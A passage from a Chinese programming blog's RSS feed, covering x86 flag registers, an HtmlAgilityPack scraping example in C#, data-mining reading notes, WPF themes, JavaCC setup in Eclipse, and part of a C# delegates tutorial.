&lt;p&gt;　　进位标志CF主要用来反映运算是否产生进位或借位。如果运算结果的最高位产生了一个进位或借位，那么，其值为1，否则其值为0。使用该标志位的情况有：多字(字节)数的加减运算，无符号数的大小比较运算，移位操作，字(字节)之间移位，专门改变CF值的指令等。&lt;/p&gt;
&lt;p&gt;　　2、奇偶标志PF(Parity Flag)&lt;/p&gt;
&lt;p&gt;　　奇偶标志PF用于反映运算结果中”1″的个数的奇偶性。如果”1″的个数为偶数，则PF的值为1，否则其值为0。&lt;/p&gt;
&lt;p&gt;　　利用PF可进行奇偶校验检查，或产生奇偶校验位。在数据传送过程中，为了提供传送的可靠性，如果采用奇偶校验的方法，就可使用该标志位。&lt;/p&gt;
&lt;p&gt;　　3、辅助进位标志AF(Auxiliary Carry Flag)&lt;/p&gt;
&lt;p&gt;　　在发生下列情况时，辅助进位标志AF的值被置为1，否则其值为0：&lt;/p&gt;
&lt;p&gt;　　(1)、在字操作时，发生低字节向高字节进位或借位时；　　
　　(2)、在字节操作时，发生低4位向高4位进位或借位时。&lt;/p&gt;
&lt;p&gt;　　对以上6个运算结果标志位，在一般编程情况下，标志位CF、ZF、SF和OF的使用频率较高，而标志位PF和AF的使用频率较低。&lt;/p&gt;
&lt;p&gt;　　4、零标志ZF(Zero Flag)&lt;/p&gt;
&lt;p&gt;　　零标志ZF用来反映运算结果是否为0。如果运算结果为0，则其值为1，否则其值为0。在判断运算结果是否为0时，可使用此标志位。&lt;/p&gt;
&lt;p&gt;　　5、符号标志SF(Sign Flag)&lt;/p&gt;
&lt;p&gt;　　符号标志SF用来反映运算结果的符号位，它与运算结果的最高位相同。在微机系统中，有符号数采用补码表示法，所以，SF也就反映运算结果的正负号。运算结果为正数时，SF的值为0，否则其值为1。&lt;/p&gt;
&lt;p&gt;　　6、溢出标志OF(Overflow Flag)&lt;/p&gt;
&lt;p&gt;　　溢出标志OF用于反映有符号数加减运算所得结果是否溢出。如果运算结果超过当前运算位数所能表示的范围，则称为溢出，OF的值被置为1，否则，OF的值被清为0。”溢出”和”进位”是两个不同含义的概念，不要混淆。如果不太清楚的话，请查阅《计算机组成原理》课程中的有关章节。&lt;/p&gt;
&lt;p&gt;　　二、状态控制标志位&lt;/p&gt;
&lt;p&gt;　　状态控制标志位是用来控制CPU操作的，它们要通过专门的指令才能使之发生改变。&lt;/p&gt;
&lt;p&gt;　　1、追踪标志TF(Trap Flag)&lt;/p&gt;
&lt;p&gt;　　当追踪标志TF被置为1时，CPU进入单步执行方式，即每执行一条指令，产生一个单步中断请求。这种方式主要用于程序的调试。指令系统中没有专门的指令来改变标志位TF的值，但程序员可用其它办法来改变其值。&lt;/p&gt;
&lt;p&gt;　　2、中断允许标志IF(Interrupt-enable Flag)&lt;/p&gt;
&lt;p&gt;　　中断允许标志IF是用来决定CPU是否响应CPU外部的可屏蔽中断发出的中断请求。但不管该标志为何值，CPU都必须响应CPU外部的不可屏蔽中断所发出的中断请求，以及CPU内部产生的中断请求。具体规定如下：&lt;/p&gt;
&lt;p&gt;　　(1)、当IF=1时，CPU可以响应CPU外部的可屏蔽中断发出的中断请求；
　　(2)、当IF=0时，CPU不响应CPU外部的可屏蔽中断发出的中断请求。&lt;/p&gt;
&lt;p&gt;　　CPU的指令系统中也有专门的指令来改变标志位IF的值。&lt;/p&gt;
&lt;p&gt;　　3、方向标志DF(Direction Flag)&lt;/p&gt;
&lt;p&gt;　　方向标志DF用来决定在串操作指令执行时有关指针寄存器发生调整的方向。具体规定在第5.2.11节——字符串操作指令——中给出。在微机的指令系统中，还提供了专门的指令来改变标志位DF的值。&lt;/p&gt;
&lt;p&gt;　　三、32位标志寄存器增加的标志位&lt;/p&gt;
&lt;p&gt;　　1、I/O特权标志IOPL(I/O Privilege Level)&lt;/p&gt;
&lt;p&gt;　　I/O特权标志用两位二进制位来表示，也称为I/O特权级字段。该字段指定了要求执行I/O指令的特权级。如果当前的特权级别在数值上小于等于IOPL的值，那么，该I/O指令可执行，否则将发生一个保护异常。&lt;/p&gt;
&lt;p&gt;　　2、嵌套任务标志NT(Nested Task)&lt;/p&gt;
&lt;p&gt;　　嵌套任务标志NT用来控制中断返回指令IRET的执行。具体规定如下：&lt;/p&gt;
&lt;p&gt;　　(1)、当NT=0，用堆栈中保存的值恢复EFLAGS、CS和EIP，执行常规的中断返回操作；
　　(2)、当NT=1，通过任务转换实现中断返回。&lt;/p&gt;
&lt;p&gt;　　3、重启动标志RF(Restart Flag)&lt;/p&gt;
&lt;p&gt;　　重启动标志RF用来控制是否接受调试故障。规定：RF=0时，表示”接受”调试故障，否则拒绝之。在成功执行完一条指令后，处理机把RF置为0，当接受到一个非调试故障时，处理机就把它置为1。&lt;/p&gt;
&lt;p&gt;　　4、虚拟8086方式标志VM(Virtual 8086 Mode)&lt;/p&gt;
&lt;p&gt;　　如果该标志的值为1，则表示处理机处于虚拟的8086方式下的工作状态，否则，处理机处于一般保护方式下的工作状态。&lt;/p&gt;
&lt;p&gt;下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=61312&amp;amp;uk=1493685990&#34;&gt;汇编指令助手&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Html解析工具-HtmlAgilityPack</title>
      <link>http://blog.leaver.me/2012/09/22/html%E8%A7%A3%E6%9E%90%E5%B7%A5%E5%85%B7-htmlagilitypack/</link>
      <pubDate>Sat, 22 Sep 2012 08:00:14 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/22/html%E8%A7%A3%E6%9E%90%E5%B7%A5%E5%85%B7-htmlagilitypack/</guid>
      <description>&lt;p&gt;这个工具是在暑假的时候发现的。但是最后没用这个工具。不过，这个工具可是非常强悍的。。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://htmlagilitypack.codeplex.com&#34;&gt;HtmlAgilityPack&lt;/a&gt;主要就是解析DOM的。常用的基础类其实不多，对解析DOM来说，就只有HtmlDocument和HtmlNode这两个常用的类，还有一个 HtmlNodeCollection集合类。我给出一个抓取我博客首页文章的例子。看代码可能更清楚一点。你可以去看看压缩包里提供的文档。&lt;/p&gt;
&lt;p&gt;xpath如果自己写表达式比较麻烦。所以我还找到了这个HtmlAgilityPack提供了的一个xpath辅助工具-HAPExplorer。都给出了地址。&lt;/p&gt;
&lt;p&gt;首先看我的例子，抓取我博客的首页文章：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using System.Diagnostics;
using System.Threading.Tasks;
using System.IO;
using System.Data;
using System.Data.SqlClient;
using HtmlAgilityPack;
namespace leaver
{
    class Program
    {

        static void Main(string[] args)
        {
            HtmlWeb web = new HtmlWeb();
            HtmlDocument doc = web.Load(&#34;http://leaver.me/&#34;);

            HtmlNode node = doc.GetElementbyId(&#34;content&#34;);
            StreamWriter sw = File.CreateText(&#34;leaver.txt&#34;);
            //从根节点选中class=hfeed的节点
            string cfeed = node.SelectSingleNode(&#34;/html[1]/body[1]/div[1]/div[1]/div[2]/div[1]/div[1]&#34;).OuterHtml;

            HtmlNode hfeed = HtmlNode.CreateNode(cfeed);
            foreach (HtmlNode child in hfeed.ChildNodes)
            {
                if (child.Attributes[&#34;id&#34;] == null || child.Attributes[&#34;id&#34;].Value.Substring(0, 2) != &#34;po&#34;)
                    continue;
                HtmlNode hn = HtmlNode.CreateNode(child.OuterHtml);

                Write(sw, String.Format(&#34;标题：{0}&#34;, hn.SelectSingleNode(&#34;//*[@class=\&#34;entry-title\&#34;]&#34;).InnerText));
                Write(sw, String.Format(&#34;日期：{0}&#34;, hn.SelectSingleNode(&#34;//*[@class=\&#34;byline\&#34;]&#34;).InnerText));
                Write(sw, String.Format(&#34;摘要：{0}&#34;, hn.SelectSingleNode(&#34;//*[@class=\&#34;entry-summary\&#34;]&#34;).InnerText));
                Write(sw, &#34;----------------------------------------&#34;);

            }
            sw.Close();
            Console.ReadLine();
        }

        static void Write(StreamWriter writer, string str)
        {
            Console.WriteLine(str);
            writer.WriteLine(str);
        }
    }
}&lt;/pre&gt; 
&lt;p&gt;程序运行结果：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27392_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/d2623dbdf85b9caabedb4336e53e1fd67cfc07d6.jpg&#34; title=&#34;result&#34;&gt;&lt;/a&gt;
xpath表达式的具体书写都是需要分析你需要解析的网站源码的。。。。
xpath辅助工具的界面：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27391_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2387485c54eef302fae5ddba1382b6a2092c4b67.jpg&#34; title=&#34;xpath&#34;&gt;&lt;/a&gt;
下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=61130&amp;amp;uk=1493685990&#34;&gt;HtmlAgilityPack&lt;/a&gt;
下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=61131&amp;amp;uk=1493685990&#34;&gt;HAPExplorer&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>《商务智能与数据挖掘-谢邦昌》第三章读书笔记</title>
      <link>http://blog.leaver.me/2012/09/21/%E5%95%86%E5%8A%A1%E6%99%BA%E8%83%BD%E4%B8%8E%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98-%E8%B0%A2%E9%82%A6%E6%98%8C%E7%AC%AC%E4%B8%89%E7%AB%A0%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Fri, 21 Sep 2012 08:16:06 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/21/%E5%95%86%E5%8A%A1%E6%99%BA%E8%83%BD%E4%B8%8E%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98-%E8%B0%A2%E9%82%A6%E6%98%8C%E7%AC%AC%E4%B8%89%E7%AB%A0%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;&lt;strong&gt;3.数据挖掘&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.1定义&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　数据挖掘是指找寻隐藏在数据中的信息，如趋势。特征及相关性的过程。也就是从数据中发掘信息或知识（Knowledge Discovery in Database）。也有人称之为数据考古学。。记住，它不是一个无所不能的软件或是一种技术，他是一种结合数种专业技术的应用。数据挖掘工具从数据中发掘出个各种假设。但是并不帮你查证。确认这些假设。也不帮你判断这些假设是否有价值。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.2数据挖掘的功能&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　1.分类（Classification），按照分析对象的属性进行分门别类加以定义。建立类组（Class）。例如划分银行信用申请者的风险属性，使用的技术有决策树（Decision Tree），记忆基础推理（memory-based reasoning）&lt;/p&gt;
&lt;p&gt;　　2.估计（Estimation），根据既有连续性数值的相关属性数据。以获知某一属性未知值。。例如按照信用申请者的教育程度，行为估计其的信用卡缴费量。使用的技术包括相关分析，回归分析及神经网络算法。&lt;/p&gt;
&lt;p&gt;　　3.预测（Prediction）根据对象属性的过去观察值来估计该属性未来值。比如根据顾客过去刷卡消费量来预测其未来刷卡消费量。使用的技术包括回归分析，时间序列分析，神经网络。&lt;/p&gt;
&lt;p&gt;　　4.关联分组（Affinity Grouping）从所有对象决定哪些相关对象放在一起销售。比如那个啤酒和尿不湿。。在客户营销系统上，此功能用来确定交叉销售。。&lt;/p&gt;
&lt;p&gt;　　5.聚类（Clustering)，将异质总体中区分为特征相近的同质类组。目的是将组和组之间的差异辨识出来。并对个别组内相似样本进行挑选。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.3数据挖掘的步骤&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　1.理解数据和数据所代表的含义（Data Understanding）&lt;/p&gt;
&lt;p&gt;　　2.获取相关知识和技术（Domain Knowledge Acquisition）&lt;/p&gt;
&lt;p&gt;　　3.整合和检查数据（Integration and Checking）&lt;/p&gt;
&lt;p&gt;　　4.去除错误或不一致的数据（Data Cleaning)&lt;/p&gt;
&lt;p&gt;　　5.建模与假设（Model and Hypothesis Development）&lt;/p&gt;
&lt;p&gt;　　6.数据挖掘运行（Running)&lt;/p&gt;
&lt;p&gt;　　7.测试与验证所挖掘的数据（Testing and Verification）&lt;/p&gt;
&lt;p&gt;　　8.解释与使用数据（Interpretation and Use）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.4数据挖掘建模的标准CRISP-DM&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　CRISP-DM模型强调完整的数据挖掘过程，不能只针对数据整理、数据呈现、数据分析以及构建模型，还需要对企业的需求问题进行了解，同时，后期对模型进行评价和模型的延伸应用，也是一个完整的数据挖掘过程不可或缺的要素。&lt;/p&gt;
&lt;p&gt;　　CRISP-DM分为六个阶段（phase）和四个层次（level），分别简介如下：&lt;/p&gt;
&lt;p&gt;　　1. 商业理解（Business Understanding）&lt;/p&gt;
&lt;p&gt;　　本阶段主要的工作是要针对企业问题以及企业需求进行了解确认，针对不同的需求做深入的了解，将其转换成数据挖掘的问题，并拟定初步构想。在此阶段中，需要与企业进行讨论，以确定分析者可以对于问题有非常清楚的了解，只有这样才可以正确地针对问题拟定分析过程。&lt;/p&gt;
&lt;p&gt;　　2. 数据理解（Data Understanding）&lt;/p&gt;
&lt;p&gt;　　这部分包含建立数据库与分析数据。在此阶段必须收集初步数据，然后了解数据的内涵与特性，选择要进行数据挖掘所必须的数据，然后进行数据整理及评估数据的质量，必要时再将分属不同数据库的数据加以合并及整合。数据库建立完成后再进行数据分析，找出影响预测最大的数据。&lt;/p&gt;
&lt;p&gt;　　3. 数据预处理（Data Preparation）&lt;/p&gt;
&lt;p&gt;　　此步骤和第二步数据理解是数据处理的核心，这是建立模型之前的最后一步数据准备工作。数据预处理任务很可能要执行多次，并且没有任何规定的顺序。&lt;/p&gt;
&lt;p&gt;　　4. 建立模型（Modeling）&lt;/p&gt;
&lt;p&gt;　　针对已预处理过的数据加以分析，配合各种技术方法加以应用，针对既有数据建构出模型，替企业解决问题；面对同一种问题，会有多种可以使用的分析技术，但是每一种分析技术却对数据有些限制及要求，因此需要回到数据前置处理的阶段，来重新转换需要的变量数据加以分析。&lt;/p&gt;
&lt;p&gt;　　5. 评价和解释（Evaluation）&lt;/p&gt;
&lt;p&gt;　　从数据分析的观点看，在开始进入这个阶段时已经建立了看似是高质量的模型，但在实际应用中，随着应用数据的不同，模型的准确率肯定会变化。这里，一个关键的目的是确定是否有某些重要的商业问题还没有充分地考虑。在这个阶段的结尾，应该获得对数据挖掘结果的判定。&lt;/p&gt;
&lt;p&gt;　　6. 实施（Deployment）&lt;/p&gt;
&lt;p&gt;　　一般而言，创建模型完成并不意味着项目结束。模型建立并经验证之后，可以有两种主要的使用方法。一种是提供给决策人员做参考，由他察看和分析这个模型之后提出行动方案建议；另一种是把此模型应用到不同的数据集上。此外，在应用了模型之后，当然还要不断监控它的效果。&lt;/p&gt;
&lt;p&gt;　　四个层次分别为阶段（phase）、一般任务（generic task）、专项任务（specialized task）、流程实例（process instance）。每个阶段由若干一般任务组成，每个一般任务又实施若干专项任务，每个专项任务由若干流程实例来完成。其中，上两层独立于具体数据挖掘方法，即是一般数据挖掘项目均需实施的步骤（What to do？），这两层的任务将结合具体数据挖掘项目的“上下文”（context）映像到下两层的具体任务和过程。所谓项目的“上下文”是指项目开发中密切相关、需要综合考虑的一些关键问题，如应用领域、数据挖掘问题类型、技术难点、工具及其提供的技术等。&lt;/p&gt;</description>
    </item>
    <item>
      <title>《商务智能与数据挖掘-谢邦昌》第二章读书笔记</title>
      <link>http://blog.leaver.me/2012/09/20/%E5%95%86%E5%8A%A1%E6%99%BA%E8%83%BD%E4%B8%8E%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98-%E8%B0%A2%E9%82%A6%E6%98%8C%E7%AC%AC%E4%BA%8C%E7%AB%A0%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Thu, 20 Sep 2012 08:47:36 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/20/%E5%95%86%E5%8A%A1%E6%99%BA%E8%83%BD%E4%B8%8E%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98-%E8%B0%A2%E9%82%A6%E6%98%8C%E7%AC%AC%E4%BA%8C%E7%AB%A0%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;&lt;strong&gt;2.数据仓库&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　数据仓库名字上来看是很好理解的。他与传统的数据库的不同在于。传统的数据库是未经整理后的一大堆数据集。而数据仓库是从数据库中萃取出来。经过整理，规划，建构而成的一个有系统的数据库的子集合。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.1数据仓库特点：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　数据仓库的四个特点。&lt;/p&gt;
&lt;p&gt;　　1.面向主题（Subject Orient）。数据建立的着重点就是在于以重要的主题组件作为核心。作为建构的方向。数据需求者只要把谣言觉得相关主题数据，从数据库中攫取，整合之后就可以做研究之用。&lt;/p&gt;
&lt;p&gt;　　2.整合性（Integrated）各应用系统的数据需经过整合。以便利执行相关分析操作&lt;/p&gt;
&lt;p&gt;　　3.长期性（Time Variance） 为了执行趋势的分析。数据仓库系统需保留1-10年的历史数据。这与数据库为日常性的数据有所不同。&lt;/p&gt;
&lt;p&gt;　　4.稳定性（Non-Volatile）数据库可以被随时修改，但数据仓库基本上不会大动。只有内部人员会定期修改。但频率不会太多。也不允许用户做更新的动作。&lt;/p&gt;
&lt;p&gt;　　由于以上的几个特点。数据仓库必须通过一连串的程序才可建立。而不是说即买即用。。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.2数据仓库架构&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　数据源-&amp;gt;整体数据仓库-&amp;gt;部门性数据仓库-&amp;gt;查询工具-&amp;gt;终端用户&lt;/p&gt;
&lt;p&gt;　　数据仓库的建设过程：&lt;/p&gt;
&lt;p&gt;　　专业顾问通过与企业进行需求访谈，建立数据仓库的model，然后将企业内各种数据整合到数据库中，并建立前端分析数据的工具以及管理工具，这样的过程即为建立数据仓库的基本过程。&lt;/p&gt;
&lt;p&gt;　　1.设计（Design） 即数据仓库的数据Model设计，这部分是最重要的，若Model设计的不够周全或布里希那个，不管之后的报表设计如何精美，也可能跑出错误的信息。这也是需要有经验的专业顾问建立数据仓库的一个重要原因。&lt;/p&gt;
&lt;p&gt;　　2.整合（Integrate）即数据的整合转换过程，包含数据解释（Data Extraction） ，数据转换（Data Transformation）数据清理（Data Cleaning），数据加载（Data Loading）将各种来源的数据整理，转换并加载数据仓库中，程序编写较为繁杂，自动化处理困难，经常需要人工参与操作，大约占掉该项目60-70%的时间和人力。&lt;/p&gt;
&lt;p&gt;　　3.可视化（Visualize）即前端呈现给用户看的形式，例如数据挖掘（Data Mining） 即OLAP工具，用以呈现分析过的数据形式。&lt;/p&gt;
&lt;p&gt;　　4.调度（Administration）为管理的工具。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.3建立数据仓库的原因和目的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　提高企业的竞争能力，降低成本，提高客户满意度。创造利润。&lt;/p&gt;</description>
    </item>
    <item>
      <title>《商务智能与数据挖掘-谢邦昌》第一章读书笔记</title>
      <link>http://blog.leaver.me/2012/09/19/%E5%95%86%E5%8A%A1%E6%99%BA%E8%83%BD%E4%B8%8E%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98-%E8%B0%A2%E9%82%A6%E6%98%8C%E7%AC%AC%E4%B8%80%E7%AB%A0%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Wed, 19 Sep 2012 08:00:34 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/19/%E5%95%86%E5%8A%A1%E6%99%BA%E8%83%BD%E4%B8%8E%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98-%E8%B0%A2%E9%82%A6%E6%98%8C%E7%AC%AC%E4%B8%80%E7%AB%A0%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</guid>
      <description>&lt;p&gt;　　1.绪论&lt;/p&gt;
&lt;p&gt;　　商务智能的含义就是指通过企业所拥有的数据和数据仓库的汇总，结合联机分析及数据挖掘技术挖掘出潜藏在数据库中的有用信息，并将其提供给决策者或部门主管作为平时运营的决策依据。而当企业面临危机时或必须立即做出重大决策时，也能依据数据仓库所提供的正确数据及时作出正确的决策。协助企业顺利解决问题。化危机为转机。更可见商务智能的重要性。&lt;/p&gt;
&lt;p&gt;　　商务智能应用的几个方面&lt;/p&gt;
&lt;p&gt;　　对于一般企业来说，商务智能主要应用在以下几个方面。1.了解运营状况，2.衡量绩效。3.改善关系。4.创造获利机会。&lt;/p&gt;
&lt;p&gt;　　企业引用商务智能的流程&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27358_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34; title=&#34;流程图&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　商务智能的核心：根据企业数据库整合成可以作为分析用的数据仓库。再进一步通过分析技术来探索数据。&lt;/p&gt;
&lt;p&gt;　　《Building the Data Warehouse》的作者William Inmon认为数据仓库必须具有面对主题，整合性，时间转化，不易变化四个特性。&lt;/p&gt;
&lt;p&gt;　　联机分析简单来说就是能让用户根据本身决策需求来浏览数据。动态且实时的产生其所需的报表，以提高分析效率的技术。事实上，他除了能提供在线实时数据分析模块外，更重要的是能展示多维度的数据。&lt;/p&gt;
&lt;p&gt;　　商务智能的另一项重要技术：数据挖掘：是指在大量数据库中寻找有意义或是有价值的信息的过程。通过机器学习技术或是统计分析方法论。根据整合的数据加以分析探索，发掘出隐含在数据中的特性。通过专业领域知识整合及分析。从中找出合理且有用的信息，经过相关部门针对该模型的评估后，再提供给相关决策单位加以运用。&lt;/p&gt;
&lt;p&gt;　　企业间的竞争模式，从传统的“红海策略”，即采取压低成本与价格的杀价流血竞争。到近来倡导以创新为核心竞争力的“蓝海策略”，不论哪一种策略模式，都是不断地从研发，制造，营销，客服或资源配置等运营的相关问题上。寻求问题的发生原因，并尝试找出解决方案，而运营阶段中，陆续积累的庞大数据，往往就是答案的隐身之处。这也是数据挖掘的目的。&lt;/p&gt;
&lt;p&gt;　　数据库仓库强大而实用，但有一个局限性。就是他实质上反映的过去的历史，由于数据仓库经常在特定周期或时间点进行加载和处理。因此他只是表示一个时间点上的快照。即使构建了实时或是近似实时的数据仓库，其数据仍然只表示当前和历史的数据。无法达到预测的需要。与传统的统计分析方法不同的是，数据挖掘不是让人提出假设。然后据此去找相关数据。而是让数据仓库确定数据相关性。并允许采用与以往不同的模式对数据进行分析。&lt;/p&gt;</description>
    </item>
    <item>
      <title>WPF主题分享及使用</title>
      <link>http://blog.leaver.me/2012/09/18/wpf%E4%B8%BB%E9%A2%98%E5%88%86%E4%BA%AB%E5%8F%8A%E4%BD%BF%E7%94%A8/</link>
      <pubDate>Tue, 18 Sep 2012 09:19:02 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/18/wpf%E4%B8%BB%E9%A2%98%E5%88%86%E4%BA%AB%E5%8F%8A%E4%BD%BF%E7%94%A8/</guid>
      <description>&lt;p&gt;首先是一个很流行的WPF20多种xaml主题合集源码。这个主题系列是非常漂亮的。我找到了源码。但是没有找到官网。
update：感谢&lt;a href=&#34;http://luacloud.com/&#34;&gt;月亮云&lt;/a&gt;的提醒，官网是：http://wpfthemes.codeplex.com
截两幅图如下：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27351_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/58b8894bc549351c298072c998486b597d88cf6c.png&#34; title=&#34;theme1&#34;&gt;&lt;/a&gt;
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/27352_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b0597e4db9818945c1cf69a8be46725f1c45213f.jpg&#34; title=&#34;theme2&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;使用很简单。一种是将WPF.Theme.dll导入。像demo展示的那样。使用其提供的主题管理类来使用。可以实现任意切换效果。另一种就是直接把源文件的各种theme.xaml提取出来，添加到资源字典就行了。当然还有一些不重要的小细节。相信你对wpf比较了解的话可以搞得定的。。还可以自己学习一下。。&lt;/p&gt;
&lt;p&gt;昨天还看到一个主题，也比较漂亮。&lt;a href=&#34;http://amazingwpfcontrols.codeplex.com/&#34;&gt;Amazing WPF Controls&lt;/a&gt;分享一下。如果有什么疑问。欢迎留言讨论。&lt;/p&gt;
&lt;p&gt;下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=55959&amp;amp;uk=1493685990&#34;&gt;WPF20多种xaml主题合集源码&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Eclipse安装JavaCC</title>
      <link>http://blog.leaver.me/2012/09/17/eclipse%E5%AE%89%E8%A3%85javacc/</link>
      <pubDate>Mon, 17 Sep 2012 18:26:35 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/17/eclipse%E5%AE%89%E8%A3%85javacc/</guid>
      <description>&lt;p&gt;　　今年的编译原理课程上机实践是讲这个的。。要求用JavaCC来做一个简单的解释器。今天总算是有点时间找找文档先把这个安装了。安装过程很简单。。&lt;/p&gt;
&lt;p&gt;　　1.希望你已经安装了Eclipse。。。&lt;/p&gt;
&lt;p&gt;　　2.去&lt;a href=&#34;http://sourceforge.net/projects/eclipse-javacc/&#34;&gt;sourceforge&lt;/a&gt;该项目主页下载javaCC压缩包&lt;/p&gt;
&lt;p&gt;　　3.下载完成后解压到你的Eclipse根目录。会提示覆盖plugins和features。直接覆盖即可。&lt;/p&gt;
&lt;p&gt;　　4.测试一下是否成功。具体步骤就是，打开eclipse，新建一个空java项目。然后对着项目点击右键new-&amp;gt;other-&amp;gt;javaCC-&amp;gt;javaCC template file。然后选择命名空间。包名。和文件名就可以了。这个地方的什么的是由你建立的java项目决定的。所以你可以先把java项目设置好，然后直接选就可以了。。&lt;/p&gt;
&lt;p&gt;　　5.点击运行。选择java application。控制台输出　　
　　&lt;pre class=&#34;lang:java decode:true &#34; &gt;Reading from standard input&amp;hellip;　　
　　Enter an expression like &amp;ldquo;1+(2+3)*4;&amp;rdquo;:&lt;/pre&gt;&lt;/p&gt;
&lt;p&gt;　　完成。。。&lt;/p&gt;
&lt;p&gt;Update:其实吧。这里安装的是JavaCC的插件。但是已经可以进行开发了。可能你需要一个例子来开始。或者你不喜欢eclipse。那么去&lt;a href=&#34;http://javacc.java.net&#34;&gt;JavaCC&lt;/a&gt;的项目下载你喜欢的即可。我下的是javacc-5.0.zip 里面有例子。可以参考。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C# 委托知识总结</title>
      <link>http://blog.leaver.me/2012/09/16/c%23-%E5%A7%94%E6%89%98%E7%9F%A5%E8%AF%86%E6%80%BB%E7%BB%93/</link>
      <pubDate>Sun, 16 Sep 2012 10:52:01 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/09/16/c%23-%E5%A7%94%E6%89%98%E7%9F%A5%E8%AF%86%E6%80%BB%E7%BB%93/</guid>
      <description>&lt;p&gt;如果你足够强大，你就不会把幸福押在别人身上，你会自己创造幸福或者给别人带来幸福。而变得强大的途径就是学习，就是读书，学一切东西，读任何想读的书。  爱你让我变得更强。。
继续读一些专业文章了。不保证都是原创，但是保证每篇技术文章的质量。也会注明来源，标准就是浅显易懂。但不简单。&lt;/p&gt;
&lt;p&gt;原文来自：&lt;a href=&#34;http://www.cnblogs.com/qingyuan/archive/2010/05/11/1732415.html&#34;&gt;贺臣&lt;/a&gt;感谢原作者的好文章。
1.什么是委托，为什么要使用委托&lt;/p&gt;
&lt;p&gt;我正在埋头苦写程序，突然想喝水，但是又不想自己去掉杯水而打断自己的思路，于是我就想让女朋友去给我倒水。她去给我倒水，首先我得让她知道我想让她干什么，通知她之后我可以继续写自己的程序，而倒水的工作就交给了她。这样的过程就相当于一个委托。&lt;/p&gt;
&lt;p&gt;在程序过程中，当程序正在处理某个事件的时候，我需要另外的程序代码去辅助处理一些事情，于是委托另一个程序模块去处理，而委托就可以达到这种目的，我可以利用委托通知另外的程序模块，该去调用哪个函数方法。委托其实就起到了这样一个作用，将函数签名传递到了另一个函数中。或许这样讲还是有些模糊，看看后面的具体实例。&lt;/p&gt;
&lt;p&gt;2.委托的定义&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
delegate int Add(int num1,int num2);

delegate void ConvertNum(string result);
&lt;/pre&gt;
&lt;p&gt;上面是定义两个委托的例子，其实很简单。声明一个委托使用delegate关键字，上面分别是定义的带返回值的委托和不带返回值的委托，&lt;/p&gt;
&lt;p&gt;两个委托都有传递参数，当然也可以不传递参数。其实委托也是一个类，委托派生为System.MulticastDelegate,而System.MulticastDelegate&lt;/p&gt;
&lt;p&gt;又继承System.Delegate,如果你知道这个也就明白委托其实是一个特殊的类。
委托的简单实用例子&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;
public delegate string TeaDelegate(string spText);

     public class DelegateSource
     {
         public void TestDelegate()
         {
             Operator op = new Operator();
             TeaDelegate tea = new TeaDelegate(op.GetTea);
